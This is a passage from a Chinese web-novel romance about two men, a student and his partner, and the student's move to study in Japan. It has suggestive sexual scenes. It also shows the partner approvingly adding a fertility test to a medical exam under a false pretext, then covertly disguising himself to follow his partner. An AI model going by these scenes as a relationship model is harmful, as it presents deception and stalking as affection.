“我……我为什么要打你?”他的声音都在抖,“而且!我根本就不喜欢打人!” 沈北岛微微偏头,嘴角勾起一抹极浅的却带着深意的弧度,低声问他:“是不会用吗?” 他问了,眼神意有所指地掠过林逸颤抖的手,和他手里的皮鞭,又问:“还是舍不得?要是真舍不得,我还可以教教你怎么狠心。” 林逸被他这眼神和话语激得浑身一颤,手里的皮鞭直接掉在地上…… “……是我大意了啊。” 林逸声音发颤,但有种大彻大悟的醒悟感:“……我发现我今天错了,我大错特错!” 沈北岛探究似的往前迈了一步,将两人之间本就不多的距离压缩到近乎没有空隙。 “你没错。”他声音的质地完全变了,褪去了所有为人师表的温文克制,只剩下带着沉沉重量的沙哑,“都是我的错。” “下次,下次……”林逸说话磕磕巴巴,口干舌燥,“下次谁要是看上你了,你先告诉我,我替你好好……劝退,咱不能做什么违法的事,知道吗?” 沈北岛笑了,更加不理解的问:“奇怪?想睡自己老婆算违法吗?” 第48章 “起床了,送你去上课。” 林逸屁股朝上,趴在床上睡着。 沈北岛的声音在耳边响起,他的小屁。股下意识的收缩了一下。 应激了。 林逸迷迷糊糊地睁开一只眼,视线模糊地聚焦在沈北岛穿戴整齐,俯身看着他的脸上:“………” 他含糊地抗议:“你怎么知道我有课……我记得今天上午没课啊。” 沈北岛直起身,拿起床头柜上林逸的手机,解锁,点开通话记录,屏幕转向他: “你的导师,半小时前给你打电话了,我替你接的,他问你为什么没去展厅。” “展厅?” 林逸眨眨眼,然后猛地坐起来,“我去!坏了!误事了!今天是创意展览第一天!!” 林逸一步跳下床,床也顾不上手腕上还戴着昨天那个东西,一阵手忙脚乱地往身上套衣服。 路上,林逸才发现还带着昨晚的“罪魁祸首”,气的他丢在了车上。 这个创意展览是国立美术学院与一个国内品牌包「万弹弹」合作的商业项目,以“马年迎新”为主题设计展览,提前半个月就开始筹备了。 林逸的导师负责二层展厅的整体规划,把其中一个板块的设计任务交给了林逸。 于是,他买了八只形态各异的马雕塑,用丙烯颜料用水墨画的风格,绘制成八只超有设计感的「水墨小马」。 这些作品在展览中作为打卡拍照点,吸引人流,增加品牌曝光。 一楼的条幅写着: 国立美术学院x万弹弹联名系列背包 沈北岛这段时间正在做离职交接,课程安排少了很多。 他开车带着一路絮叨“完了完了要挨骂了”的林逸,直奔市区某个高端商场的临时展厅。 半个小时后,到达目的地。 林逸冲进去找导师认错解释。 沈北岛没有跟过去打扰,独自在二层展厅闲逛。 展厅里已经有不少参观者,大多是年轻人,对着各种创意展品拍照,合影。 他很快找到了林逸的作品区域。 八只小马放在仿古木台上,背后是写意山水背景板。 沈北岛看过去,能看到林逸真的很有这方面的天赋,这些东西应该是他平时在学校赶出来,效果却依旧不错。 他拿出手机,将八匹小马和背景板一起纳入镜头,拍了几张照片,最后,留下了一张作品老公和作品的合照。 旁边传来一个略带迟疑的女声:“请问……您是这些作品的创作者本人吗?” 沈北岛抬头,看到是一位打扮时尚的女孩,正期待地看着他。 他摇了摇头,刚想转身去叫林逸过来,却发现林逸还在不远处跟导师聊着,导师表情严肃,双手时不时还有所动作。 林逸连连点头,一副虚心受教,实则梦游神外的样子。 “我不是创作者。”沈北岛转回头,对女孩礼貌地笑了笑,“不过,您有什么疑问吗?或许我可以帮您转达给作者。” 女孩眼睛亮了亮:“我特别喜欢这个紫色的,我想着马年快到了,摆在家里当个艺术摆件,不知道作者愿不愿意出售?” 她的话吸引了旁边另外两个正在拍照的参观者。 一个戴眼镜的男生凑近看了看,指着那只红色着墨最多的小马:“这个是手绘上去的吗?质感看上去真好。” “是手绘的。”沈北岛温和地解释,“用的是丙烯颜料,不容易掉落。” “那能买吗?我挺想收藏这个红色的。”眼镜男生也问。 人渐渐围拢过来,把沈北岛围成了一个圈。 也不知道什么时候开始,林逸悄无声息地溜到了他身后。 此刻正贴着他后背,压低声音,咬牙切齿的问:“老子就五分钟没看着你,你就开始在这儿招蜂引蝶是吧?” 一把掐在沈北岛腿。根的软。肉上。 沈北岛忍着疼,侧头看他,小声提醒:“是十分钟。” “你是创作者吗?”刚才那位咨询出售的女孩看到林逸走过来,问道。 林逸立刻松开掐着沈北岛的手,站直身体:“我是,请问有什么事吗?” “我们有意向购买这只小马……” 林逸脑子里第一反应是“不卖”。 但他嘴还没张开,导师已经笑容满面地走了过来,接过了话: “有购买意向是吗?欢迎欢迎!” 导师态度热情,“情况是这样的,我们这次展览是和楼下的国潮品牌「万弹弹」合作的。按照合作协议,如果想购买我们展出的这些创作作品,需要先在楼下品牌店消费满500元,才能选购心仪的展品。” 林逸:“???” 他一脸懵地看向导师,小声提示:“老师?我们不是只展览不卖吗?” 导师递给他一个稍安勿躁的眼神,继续对那几位感兴趣的顾客笑着说: “这几匹小马都是限量创作,每一匹都有独立编号和创作寓意,很有收藏价值。 几位可以先下楼去看看包,选好了再上来。” “那挺好!我正好看中了一款。” 女孩立刻点头,指着那匹紫色小马,“那这个一定给我留着,我马上上来。” “没问题!”导师应得爽快,“林逸,你陪客人下去,等会再上来。” 林逸只好听从导师安排,看了一眼沈北岛,示意他在休息区等他。 最好老实一点。 林逸和顾客下了楼,导师才松了口气,转向沈北岛,脸上带着熟络的笑容,拍了拍他的肩膀:“你是林逸的哥哥吧?” “怪不得刚才看你觉得眼熟,眉眼挺像的。” 沈北岛:“……” 他一时不知该如何纠正这个误会,只能保持着礼貌的微笑,没有承认,也没有否认。 “过来这边坐坐。” 导师引着他走向展厅一侧的休息区,“正好,聊聊林逸去日本留学的事。” 沈北岛脚步微顿,以为自己听错了:“出国留学?” 两人在休息区的矮沙发上坐下。 导师从随身保温杯里倒了杯茶,抿了一口:“怎么回事啊?从上个月开始我就催他交出国留学的申请表,这都过去两周了,一点动静都没有。” “邮件不回,微信问就装傻,是不是你们家里不同意他出去?” 他打量着沈北岛,“据我了解,林逸家里条件应该不错啊?支付留学期间的生活费应该没问题吧?而且出去学习本就是免学费的。” 林逸压根没提过这件事。 沈北岛顺势接下了“哥哥”这个身份,点了点头:“嗯,他……还没来得及跟家里详细说,能请您具体跟我说说吗?” “这样啊!”导师放下茶杯,“这是我们学院跟日本几所顶尖艺术类大学合作的2+2交流项目。” “原本他们这个专业方向,大三就有出国深造的规划。林逸的专业成绩非常突出,他还选修了日语,简单交流也算是过关,是我重点推荐的人选。” “过去之后,学费全免,但需要参与合作院校的一些商业项目制作,算是半工半读性质,虽然有些辛苦,但是很能提高能力。” “而且,日本的动漫、设计产业成熟,美学教育体系也和我们这里不同,去那边学习两年,有助于他提高眼界。” 沈北岛安静地听着,这么说,林逸是同意的,否则导师不会一开始就推荐他。 “那林逸自己现在的想法是什么,他跟您透露过吗?”沈北岛问。 导师摊了摊手:“你们家人不知道,我们导师更不知道了。” “我以为是家里不同意呢,我们之前聊的时候,他兴致可高了,还自己查了好多那边学校的信息,现在问他又支支吾吾的……” …… 沈北岛和导师互加了微信。 导师将那份留学申请表格的电子版发给了他,还多发了几份学校介绍pdf。 导师【家里人好好跟林逸谈谈,申请截止日期没剩多久了,尽早给我回复】 沈北岛【嗯,好,谢谢您】 他没在展厅继续等林逸,去商场里的打印店,将申请表打印了两份,然后回到车上等。 大约半小时后,林逸抱着一个品牌购物袋钻进车里,“你猜怎么着,真卖出去了!那妹子特爽快,买了个包,直接就把小马钱也付了,我本来还想给我导师两百呢,我导师让我自己留着。” “你还挺尊师重道,跟你老师二八分。” 林逸得意:“那是!毕竟带我好几年!总要给他点好处。” 林逸系好安全带,转头看到这个纸在旁边,“什么东西?我看看……是不是哪个不长眼的又给你写情书了?” 他伸手去拿,沈北岛没拦。 林逸看到标题的瞬间,脸上的笑容僵住。 《国立美术学院与日本——大学学生交流项目申请表》 “……谁给你的?”林逸不敢看沈北岛。 沈北岛没有回答他的问题,只是看着他。 林逸被他看得心慌:“哎呀……我知道,我要是去了,就得跟你分开好久……你肯定舍不得我,对吧?所以……所以我压根没想去,真的。” 他声音越来越低:“反正国内也挺好的,我们学校也不差,毕业了好找工作……” “林逸。”沈北岛打断他,他没有生气,也没有责备,只是用一种严肃的语气说,“爱情、学业、爱好,这三者之间,并不存在冲突。” “怎么不冲突了?!” 林逸像是被戳到了某个敏感点,带上孩子气的固执,“我要是去了日本,就要跟你分开至少两年!” “两年!七百多天!我天天只能隔着屏幕看着你!你周围本来就那么多苍蝇蝴蝶小蜜蜂的!” “我要是走了,天高皇帝远,谁知道会发生什么?等我回来,说不定男朋友都被挖墙脚了,我好不容易找到个这么好的男朋友,绝对不会让给别人!” 他说得又快又急,眼圈发红,他只是想跟沈北岛在一起,这又有什么错。 沈北岛严肃:“那我们可以去国外领证结婚,你再去留学,这样你是不是觉得更有安全感?” “……”林逸呆住。 沈北岛轻叹了一声:“如果我没有发现,你真的会放弃……” “好……好办法!!”林逸猛地凑近沈北岛,“那我们什么时候去?需要准备什么?护照?签证?是不是还得体检?!” 他兴奋地摇晃沈北岛的手臂,却发现对方并没有如他预期般露出赞同的笑容,反而眼神更深沉,带着一种他读不懂的复杂情绪。 看来只是说一说,不是真的要去。 沈北岛抬手,轻轻抚上他的脸颊,“林逸,”他声音低柔,安抚道,“你的梦想还是成为漫画家吗?” 林逸被问得一怔,不是说结婚吗?怎么又说这个? 他有点不耐烦:“嗯,是……” “那这个梦想,和我比,哪个更重要?”沈北岛继续问。 “你啊,当然是你啊!” 林逸伸手搂住沈北岛的脖子,如果不是车内有格挡,他大概会直接坐到对方腿上去强调自己的决心:“我真的特别特别爱你,沈北岛,我不想离开你,一天都不想!” “异地恋太痛苦了,看不到摸不着,只能对着冷冰冰的手机……我想你了怎么办?你万一哪天生病了,难受了也没人照顾,我光想想就觉得受不了。” “再说了,我走了你就不想我吗?”林逸眨眨眼,“真的不想吗?” 沈北岛被这炽热的告白惹的发烫,却又泛起细微的疼。 “林逸,你听我说,人生能够学习的时间,只有那么珍贵的几年,这段时间打下什么样的基础,很可能决定你未来能走多远。” “任何人都不值得你轻易放弃你热爱的事。” “可是我不觉得是放弃,国外本来也不好……我生活不习惯。” “以后有遗憾也不在意吗?” 沈北岛是商量的口吻:“……高中你放弃了自己喜欢的专业,放弃了深造的机会,现在如果你还这么做,这不是为爱牺牲,是错失拥有更多选择的机会。” 林逸不说话。 不说话就是不赞同。 他觉得自己喜欢完全可以日常提高绘画能力,没必要一定要出去深造。 林逸不开心的把脸埋在他颈窝,呼吸喷在他的皮肤上,温热,潮湿。 沈北岛知道自己拗不过,轻轻抚摸着他的后背,像是给他顺毛:“如果,在这段关系里,非要有一个人在某些方面做出牺牲,那个人也应该是我,不能是你。” 林逸猛地抬起头:“难道,你还要以死相逼啊?” 他想到了某些狗血剧情。 沈北岛无奈笑着地揉了揉他的头发:“想什么呢?” 他捧住林逸的脸,一字一句的说: “我的意思是,我正好要辞职了,国内公司开始运营也需要时间,所以,如果你决定去日本留学……” 他顿了顿:“我以陪读身份,陪你一起,好不好?” 林逸的眼睛瞬间睁大,里面倒映着沈北岛温柔的脸。 他像是被这个巨大的惊喜砸懵了,愣了好几秒,才小心翼翼的问:“……真的?” 第49章 “……林逸你听说了吗?” “什么?” “就这段时间,陈之南跟那个特火的漫画阅读平台合作,出了个系列短篇,据说已经有资方在接触,想搞什么IP周边开发…… 我看他朋友圈现在全国各地飞,参加各种漫展和行业会,风生水起的……” 林逸头也没抬,随手将一件厚毛衣塞进行李箱,语气平淡:“挺好的,祝他越来越成功!” 电话那头的张泽轩沉默了两秒,像是在消化林逸这过于平静的反应,随即八卦之魂再次熊熊燃烧:“你们……真就一点联系都没了?他现在这么火,没找你这个老同学叙叙旧?” 林逸弯腰去够另一件外套,闻言动作顿了顿,他下意识地抬眼,视线越过凌乱的地面,看向床边。 沈北岛正背对着他,微微躬身,手里拿着几个收纳袋,正仔细地将他的小内裤装进去。 今天简直是“贤妻良母”沈教授。 林逸刻意撇清关系:“说什么呢?我们能有什么联系?本来也只是普通同学……” 他话音未落,张泽轩那没心没肺的声音又响起来:“不儿……好歹他也是你前男友,当年你俩可是……” 张泽轩完全没意识到电话这边可能存在的“听众”,也不知道林逸在外放通话,自顾自的说: “你还记不记得,上次你俩还一起去寺庙……当时,你俩在那儿求了个什么姻缘签,解签还说……” “张泽轩!”林逸打断了他,手忙脚乱地去够手机想要挂断:“你胡说什么八道!根本没有的事!我警告你别乱造谣啊!我这儿忙着呢……” “哎?我还没说完呢!我表姐她不是又报了个什么易经培训班么? 专门对你的签进行了更加精准的分析,说你今年啊,感情上可能会有个大变动,搞不好旧情复……” 张泽轩的声音被无情地掐断在“嘟——”的忙音里。 世界瞬间安静了。 林逸握着已经黑屏的手机,僵硬地站在原地,他不敢回头,却能清晰地感觉到一道目光落在了自己身上。 他一点一点地转过身,脸上挤出一个笑容:“那个……张泽轩就爱胡说八道!根本没有的事!什么寺庙求签,都是他瞎编的……” 他观察着,沈北岛脸上的表情并没有什么明显的变化,刚要放松。 沈北岛说:“你跟前男友还一起去过寺庙?” 他有些意外的又问:“专门一起去求了签?” 林逸干笑两声:“那次就是碰巧……碰巧遇到了,我没跟你说是觉得没必要……” “你跟前男友一起去求签,这事张泽轩知道,我却不知道?” 林逸被问得节节败退:“不是!我其实是无神论,特别坚定的那种! 我命由我不由天!求神拜佛什么的,都是封建迷信!我早就不信了!” 他举起三根手指,立马发誓。 他实在无法解释为什么求了签,还专门告诉了张泽轩,还麻烦张泽轩的表姐解签……怎么解释,都显得他很在意前男友。 沈北岛在屋里走了两步,思考:“客观分析一下,上次你跟我一起去寺庙,是什么时候?” “……哦,是我们刚确定关系的时候,然后没多久,我们就因为一些误会分开了。” 他顿了顿,看向林逸,眼神无辜,“可是,你跟那位前男友一起去,他现在事业却蒸蒸日上,这从玄学角度分析,似乎不太公平?” 林逸:“……?” 我在跟你讲道理! 你却想跟佛祖讲公平? 沈北岛继续严谨地补充:“可是……我们上次去,没有一起求过签,更没有解过什么姻缘签。” “不过还好,时间还来得及,明天我们再去一趟寺庙吧。 在离开江州之前,我觉得有必要把该做的事都做了,该求的也求一下。” 林逸:“可是,我们不是说好了明天去泡温泉吗?” 他为了那个度假酒店的私人温泉和浪漫的大床房,提前一个月就预定了,还偷偷准备了一些小玩具,就为了给沈北岛一个惊喜。 “晚上去也不迟。” 沈北岛态度坚决,“我觉得,你去日本学习,人生地不熟的,多少还是应该带着点中国拥有美好寓意的吉祥物,辟邪,也安心。” 林逸看着他一本正经胡说八道的样子,后知后觉地品出了一点别的味道。 他撇撇嘴:“哼!吃醋了就直接说,拐弯抹角的,还跟佛祖较劲!” “幼稚!” 沈北岛微微挑眉,往前又逼近一步,将林逸困在了他和行李箱之间。 “我没有吃醋。”他否认,“只是最近口味变了,比较喜欢吃点酸的。” 林逸:醋死你得了。 林逸心里却美滋滋的,故意说:“好了,我非常不自信地告诉你,我跟陈之南不可能再有任何超出同学范围的关系,你可以放一百二十个心!” “不放心。” 沈北岛的目光顺着林逸的脸颊下滑,掠过他的脖颈,最后落在他有些凌乱的衣领处,“我觉得,或许你可以做点更能让我放心的事。” 话音未落,他忽然伸手,一把扣住林逸的腰,在对方还没来得及惊呼时,稍一用力,直接将人扛上了肩头! “沈北岛你干什么!放我下来!” 林逸只觉得天旋地转,头朝下被他扛着,又羞又恼,手脚并用地挣扎,“你又来!亚麻跌!!!” 沈北岛稳稳地扛着他,走向床,闻言笑出了声,手掌在他臀部拍了一下。 “日语发音还不错,”多练习练习,有利于你过去上课。” “而且,我最喜欢你说这句。” “……”林逸被他这厚颜无耻的解读,气得眼前发黑,放弃了挣扎,只想把头埋起来。 床上堆满了还没来得及收进行李箱的衣服,沈北岛将人扔在柔软的衣服堆里,自己也随即覆了上去,双手撑在他耳侧,将他禁锢在身下…… 林逸被摔得晕头转向,还没缓过神,就听见沈北岛用清晰而标准的日语,在他耳边问了一句: “このフレーズ、日本語で何と言いますか??” (可以叫的好听一点吗?) “????”林逸诧异地看着近在咫尺的脸,“你什么时候学的日语?” “刚刚。” 沈北岛的眼神幽深,像藏着一片暗夜的海,“看你学的得那么认真,我也得提前预习一下,不然怎么做你的陪读……” “刚刚?”林逸更懵了。 沈北岛却像是忽然被什么触动,微微蹙了蹙眉,低头看着身下衣衫半解的林逸,语气里带上了一丝罕见的自我怀疑: “不知道为什么,跟你在一起的时候,我总是忍不住想做这件事,理智告诉我应该克制。” 沈北岛一副懊恼的样子:“应该更循序渐进,或者至少,别这么频繁。” 他顿了顿,指尖轻轻抚过林逸锁骨下方一处新鲜的痕迹:“我都快不认识这样的自己了,你说我是不是应该控制一下?” 此刻,林逸的卫衣已经被拉扯得露出了半个肩膀,冷空气激得皮肤起了一层细小的疙瘩。 他听着沈北岛这番意有所指的“反省”,身体却因为对方的话语和触碰,不可抑制地躁动起来。 他现在眼皮都懒得完全睁开,只从睫毛缝隙里睨着上方那张故作深沉的脸。 “真是废话越来越多……” 他喘了口气,声音带着点沙哑:“你要是真那么喜欢装正人君子,就他妈穿着衣服干!别在这儿又当又立!” 他越来越受不了沈北岛这副样子,明明欲望汹涌得要把人吞没,偏偏喜欢在关键时候停下来,说些冠冕堂皇,道貌岸然的话,好像这样就能掩盖他骨子里的疯狂占有欲。 “不许说脏话。” 沈北岛摇了摇头,伪装困惑的表情消失了,取而代之的是一种严厉的,如同家长式的纠正:“不礼貌。” 话落,他的呼吸明显重了几分。 林逸只觉得一股邪火从小腹直冲头顶,他受够了他这慢条斯理的折磨。 他抬起手臂,勾住沈北岛的脖子,将他拉低,然后另一只手,毫不犹豫地探向对方腰腹下方,精准地找到了金属拉链,用力一扯…… “唔……” 一切失控的语言和多余的思考,都被更原始行为所取代。 夜,漫长而混乱…… 第二天一大早,林逸感觉自己像是被拆开又重组了一遍,浑身酸软地被沈北岛从被窝里挖出来,迷迷糊糊地套上厚外套,塞进了车里。 当他们抵达城郊寺庙时,庙里的晨钟还未敲响,只有零星几个早起的工作人员在院里打扫。 求签解签的偏殿还没开放,那位据说很灵验的大师也没上班。 沈北岛拉着林逸,来到主殿。 两人并肩跪下,在空无一人的大殿里,对着庄严的佛像,认认真真地磕了三个头。 没有繁文缛节,没有祝祷誓言,只有额头触碰到冰凉蒲团时,心中那份无需言说的虔诚。 走出殿,林逸揉了揉磕得有点发红的额头,小声对沈北岛说:“刚才,我可是许愿我们永远在一起,生生世世不分开嘞。” “嗯,知道了。” 沈北岛看了他一眼,牵着他的手下山。 殿外的小亭子已经有工作人员在售卖香烛和矿泉水。 林逸跑去买了两瓶水,拧开一瓶先喝了一大口,然后递给沈北岛。 “你刚才许了什么愿望?”林逸凑近他,带着好奇,“某个人不会在神灵面前说谁谁坏话吧?” 沈北岛接过水瓶,在他喝过的地方,也仰头喝了一口。 冰凉的液体滑过喉咙,驱散了早起赶路的最后一点困意。 他将水瓶递回给林逸,目光望向远处逐渐明亮起来的天际线: “我对佛说,希望林逸能为我生一个孩子。” “噗!!!” 林逸一口水全喷了出去,在清晨空气里划出一道短暂的水雾。 他呛得直咳嗽,脸瞬间涨得通红,不敢置信地瞪着沈北岛,声音都变了调: “什么玩意???” “我是男的!男的!!你许这个愿望,佛祖听了都想报警的程度!!!” 第50章 医院,检查室门口。 林逸满脸写着不情愿,被沈北岛半推半哄地送到了门口。 “我觉得我身体好得很,吃嘛嘛香,睡眠充足,不用检查得这么……” “这么细吧?” 林逸扒着门框,试图做最后的挣扎,眼睛瞥向检查室门上那个简洁得有些冷酷的标识:精/液分析室。 沈北岛站在他身后,一手稳稳地扶着他的腰,另一只手已经替他推开了虚掩的门,声音像是哄孩子: “没事,别怕,很容易的,里面有操作指南和辅助视频,看着说明,很快就能结束。” “可我不想啊!” 林逸转过头,压低声音反驳,“我根本不打算要孩子。” “以后也不会跟女生结婚,我检查这个干什么?纯属浪费社会资源了……” 他无法接受要在这种陌生,充满医疗气息的地方,为了完成一项检查做那种极其私密且尴尬的事。 这次体检,本是日本那所大学要求的基础入学健康检查。 沈北岛专门陪他来到这个体检机构,刚开始确实是一些基础检查。 可到了最后,沈北岛不知从哪儿弄来一份更详细的体检套餐单,多加好几个项目,其中就包括这一项。 “因为你最近太爱挑食了。” 沈北岛的理由听起来冠冕堂皇,甚至漫不经心,像是糊弄幼儿园的孩子: “不好好吃饭,最近作息也不太规律,既然来做检查,顺便查一下,我也好放心。” 他顿了顿,声音带着点哄诱: “今天正好人少不用排队,你配合一下,就当是为了让我安心,行吗?” 林逸简直要气笑了:“我挑食?” “沈北岛,你摸着良心说……我为什么挑食?还不是你天天研究那些营养餐,这个热量高不能吃,那个没营养要少吃! 就知道让我吃草,还非说我最近胖了!我哪里胖了?” “再说了,挑食跟检查这个有半毛钱关系,我又不是弄出来自己吃了……” 沈北岛面无表情:…… 林逸气的捶墙:不就是因为上个月去办了个健身卡,结果教练太过热情,把减肥餐送到家里了么! 都跟他解释了,还生闷气,害我吃了半个月的减脂餐!说喜欢吃就吃个够…… 我容易吗! 他跟我送吃的我怎么可能预料得到啊! “这是全面的健康评估套餐,各项指标相互关联。”沈北岛面不改色,逻辑严谨得像个医生。 他向前一步,几乎贴着林逸的耳朵,用只有两人能听到的气音说,“不然,我进去陪你?我帮你弄出来,保证很快就能填满试管,怎么样?” “不用了!!!” 林逸瞬间弹开,脸涨得通红,一把从沈北岛手里夺过那个密封的样杯和试管,冲进了检查室。 “砰”一声关上了门,将沈北岛带着深意的目光隔绝在外。 沈北岛站在门外,听着里面隐约传来林逸的小动静,嘴角心满意足地向上弯了弯。 他背靠着墙壁,就这么安静地听着。 只是听着听着,他似乎也需要紧急解决一下…… * 过了24小时后。 林逸的手机上接收到了一份详细的电子报告单,刚开始的体检数据一切正常。 直到林逸翻到了附加项页面。 林逸的脸上写满了 「这不可能」四个大字! “……什么无精症?” 他低声念出那个医学名词,“这什么鬼?老子,老子明明……每天……” 他猛地刹住接下来的话,凑到正一脸平静浏览体检报告的沈北岛身边,咬牙切齿地低声控诉: “我明明产量比普通男人只多不少好吗!是不是写错了!” 沈北岛侧头看他,脸上没什么意外的表情,反而抬手扶了扶眼镜,然后客观分析道: “可能,因为产量过于旺盛,内部竞争过于激烈,导致在发育成熟前,就提前完成了精。子的优胜劣汰,不小心误伤了彼此? 或者,是某种生理性的抑制……” “哎!打住!” 他现在更关心另一个问题,如果说这是一种病…… 他盯着报告单上那个冷冰冰的结论,眼神从最初的震惊,慢慢转变成一种混杂着茫然。 最后,完全转变成了窃喜! “所以……因为我个人的问题,我以后,不可能有自己的孩子了?” 他眼睛一亮,甚至有点小兴奋地看向沈北岛,“那是不是也代表我这种不能生孩子的男人,根本不适合结婚?也不会有女生喜欢不孕不育的男人!” 沈北岛:……他为什么会这么兴奋? 林逸忽然想到什么,一把抱住沈北岛的脖子,在他脸颊上快速亲了一口: “小沈嗷~你放心,等我学业有成,荣耀归来,就风风光光把你娶回家!” 他掏出手机,对着报告单上那个关键结论拍了张照,然后点开备注【妈妈】的微信列表,把这张照片发了过去。 沈北岛看着他这一系列操作,似乎懂了。 他发现了一个家人无法拒绝他不和女人结婚的理由。 林逸盯着屏幕看了一会,聊天对话框里没有新的消息。 沈北岛想说什么,最终只是抬手,用力揉了揉林逸的脑袋,将那点翻涌的情绪压回眼底,说道: “好啊,我等着,我家宝贝可要说话算话。” …… 一周后,东京机场。 沈北岛拖着两人的行李箱,林逸背着双肩包,好奇地打量着这个即将开始新生活的地方,周围是陌生的语言,不远处的各种广告牌也换成了日语…… 但他终于踏上了追寻梦想的路。 找房子,购置基本生活用品,熟悉学校周边环境,办理各种繁杂的手续…… 刚开始的一个月,忙碌、充实。 沈北岛帮他把所有事安排得尽量完善。 他会在租住的小公寓里,尝试用有限的厨具为林逸做。爱吃的饭菜,陪他去学校办理注册,在林逸对着专业课内容头晕时,帮他分析问题…… 语言的不流畅,文化背景的差异,课业的高强度,都让林逸感到疲惫。 而沈北岛,成了他在这片陌生土地上,唯一可以全然依赖的浮木。 但是,浮木,终有要漂走的时候。 一个月后,沈北岛家在国内的公司开始运营,父亲回国与合伙人一起商讨业务发展,他也不得不回去了。 机场告别那天,林逸努力装作轻松,笑着挥手,说:“放心,我这么大了,都能搞定!” 却还是在沈北岛走进安检口的那一刻,眼圈红了,他咬着嘴唇,没让眼泪掉下来。 成年人的世界,第一步要学会的是接受孤独。 学会一个人面对陌生的环境,一个人解决生活里的小麻烦,一个人消化突然而来的脆弱。 长大,或许总在一瞬间。 …… 时间在忙碌中飞快流逝。 一晃,一年过去了。 这段期间,沈北岛每个月都会尽量抽出两天时间,飞过来看他。 但每一次相聚都很短暂,常常是前一天晚上到,第二天下午就要离开。 两人挤在小小的公寓里,亲亲,抱抱,贴贴…… 想把分离的想念全部浓缩进这几十个小时里。 经过一年的经营,沈北岛国内的公司逐渐步入正轨,他的时间也变得稍微宽裕了一些。 林逸适应留学生活后,学业也越来越紧张,小组作业、个人创作、语言学习等等,几乎填满了每天的生活。 有时候,两人各自忙碌。 可能一两天都顾不上好好打一个电话,只能在深夜或清晨,发几条简短的语音或文字。 告诉对方: “我睡了” “我刚下课” “今天好累” “我想你了” …… 成年人的世界忙碌、充实,他们都清楚,眼下最重要的是各自脚下的路。 有些异地恋走着走着分道扬镳,有些相爱的彼此,每走一步都要回头看看对方有没有跟上…… — 江州,晚上7:03 沈北岛刚刚结束一个重要的会议。 办公室里只剩他一人,他揉了揉有些发酸的眉心,拿起手机,习惯性地拨通了林逸的视频通话。 响了七八声,才被接起。 屏幕晃动了一下,露出林逸有些匆忙的脸,背景似乎是学校的走廊,光线不算太好。 “逸逸。” 沈北岛的声音带着一天工作后的疲惫。 “嗯?今天怎么这么早给我打电话?”林逸说。 背景音里似乎还有别人说话的声音,“我刚下课,正准备跟同学去讨论一个小组作业,可能得晚点……” “嗯,你先忙。”沈北岛理解地说,他原本想接着问:这两天我不太忙,想不想我过去看你? 这句话在他舌尖转了一圈,还没来得及说出口。 “哎!林逸,快点,他们都在研究室等了!”一个清晰的,年轻男生的声音从听筒那边传来。 “来了来了!”林逸应了一声,语速更快地对沈北岛说,“老公,我先挂了,晚点回去给你打!爱你!” 话音未落,屏幕已经暗了下去。 通话时长:58秒。 沈北岛握着手机,看着屏幕上“通话已结束”的字样,怔了一秒。 那句没问出口的话,卡在喉咙里,不上不下。 他微微蹙眉,过了几分钟,再次拨了过去。 这次,响了很久,几乎快要自动挂断时,被接起。 但传来的,不是林逸的声音。 “喂,您好?” 是一个年轻的男声,语气礼貌,背景安静了许多: “请问您找林逸吗?他刚才去卫生间了,手机在桌上充电,我看一直在响就接了,您有什么事吗?” 沈北岛喉结滚动了一下,没有立刻出声。 他思考该如何得体地表明身份,并请对方转告。 可是,电话那头并没有给他太多时间。 接电话的人似乎把手机拿得离远了些,但通话没有受到影响,那边隐约的对话声清晰地传了过来,是两个男生的对话。 另一个男声带着点调侃:“谁的电话?哎?怎么……是林逸的手机?” “嗯,看号码是国内的,没有备注。” “没备注?推销电话吧?挂了呗。” “等会儿你跟林逸一起去吃晚饭吧,我先撤了,我女朋友在楼下等我。” “行啊。” 短暂的沉默,然后传来了低声讨论: “哎,我说,你别以为我看不出来啊!你对林逸是不是有点那意思? “虽然林逸在咱们班是挺招女孩子喜欢的,但我也没见他跟哪个女生走得特别近,你说不定有戏!” “呵呵!没有,都是同学,别乱说!” “放心,我给你保密,你告诉告诉我?” 然后。 “嘟——嘟——嘟。” 电话被挂断了。 沈北岛维持着举着手机的姿势,僵在原地。 办公室的落地窗外,江州的夜景繁华,喧闹。 但他仿佛置身于一个真空的罩子里,周围的一切声音和景象都模糊、推远。 只有刚才电话里那短短的几句对话,清晰地在脑海中反复回响。 “对林逸是不是有点那意思?” “说不定有戏。” 他缓缓放下手机,眼神逐渐沉淀为一片深不见底的幽暗。 不对劲。 他冷静下来,开始回溯。 这一年来,他和林逸的联系频率其实比之前更多了。 林逸每天都跟他说学校的事,一切都看似正常,甚至因为距离,多了些小别胜新婚的甜蜜。 但真的是这样吗? 那些看似频繁的分享里,是否刻意模糊了某些细节? 比如,林逸似乎没有提过任何一个同学的名字,也不常出去聚餐。 可是,换个角度思考,林逸的年轻、优秀、在异国他乡被周围同龄人自然而然地靠近…… 这些,本身就是巨大的变量。 他点开与林逸的聊天记录,手指快速上滑,试图从字里行间,捕捉到不同寻常的蛛丝马迹。 可是没有。 至少表面上,没有。 林逸每天都在说好想他,想要他去日本陪他。 如果一切完美无瑕。 反而意味着可能存在刻意的修饰。 沈北岛想到这,立刻拿起桌上的电话,拨给了助理。 “帮我调整一下行程,接下来三天,我不在江州,所有需要我签字的文件,审批的款项,今晚九点前汇总给我,过了今天,不要打扰我。” 助理在那边似乎愣了一下,但职业素养让他迅速回应:“好的沈总,我立刻安排。” 挂断电话,沈北岛打开航空公司的APP,定下最近一班直飞东京的航班,时间是晚上十二点。 然后,他调出林逸之前发给他的一份电子版课表,仔细研究起来。 明天是周三,林逸上午有两节专业课,下午有一节讨论课,晚上没有固定安排。 沈北岛将电脑放进手提包,拎起外套,走出办公室。 他要亲自去看看。 …… 凌晨三点,飞机降落在机场。 他没有通知林逸,直接叫了车,直奔林逸在东京的房子。 他换了一身低调的深色风衣,戴上了帽子和口罩,将自己隐没在东京清晨匆忙的人流中。 根据课表,他找到了林逸上午上课的教学楼,在对面咖啡馆找了一个靠窗的角落位置坐下,点了一杯咖啡,目光透过玻璃,锁定了教学楼出口。 上午九点五十,下课铃响。 沈北岛很快在人群中捕捉到了那个熟悉的身影,林逸穿着一件米白色的羽绒服,背着那个他熟悉的双肩包,正和几个亚洲面孔的男生女生一边说笑一边走出来。 他看起来状态不错,看上去已经完全适应了这里的生活。 他看到林逸和同学在路口分开,独自走向食堂方向。 沈北岛起身,保持着不远不近的距离,跟了上去。 林逸在食堂吃了简单的午餐,期间有一个男生端着餐盘坐到了他对面,两人聊了几句,各自分开。 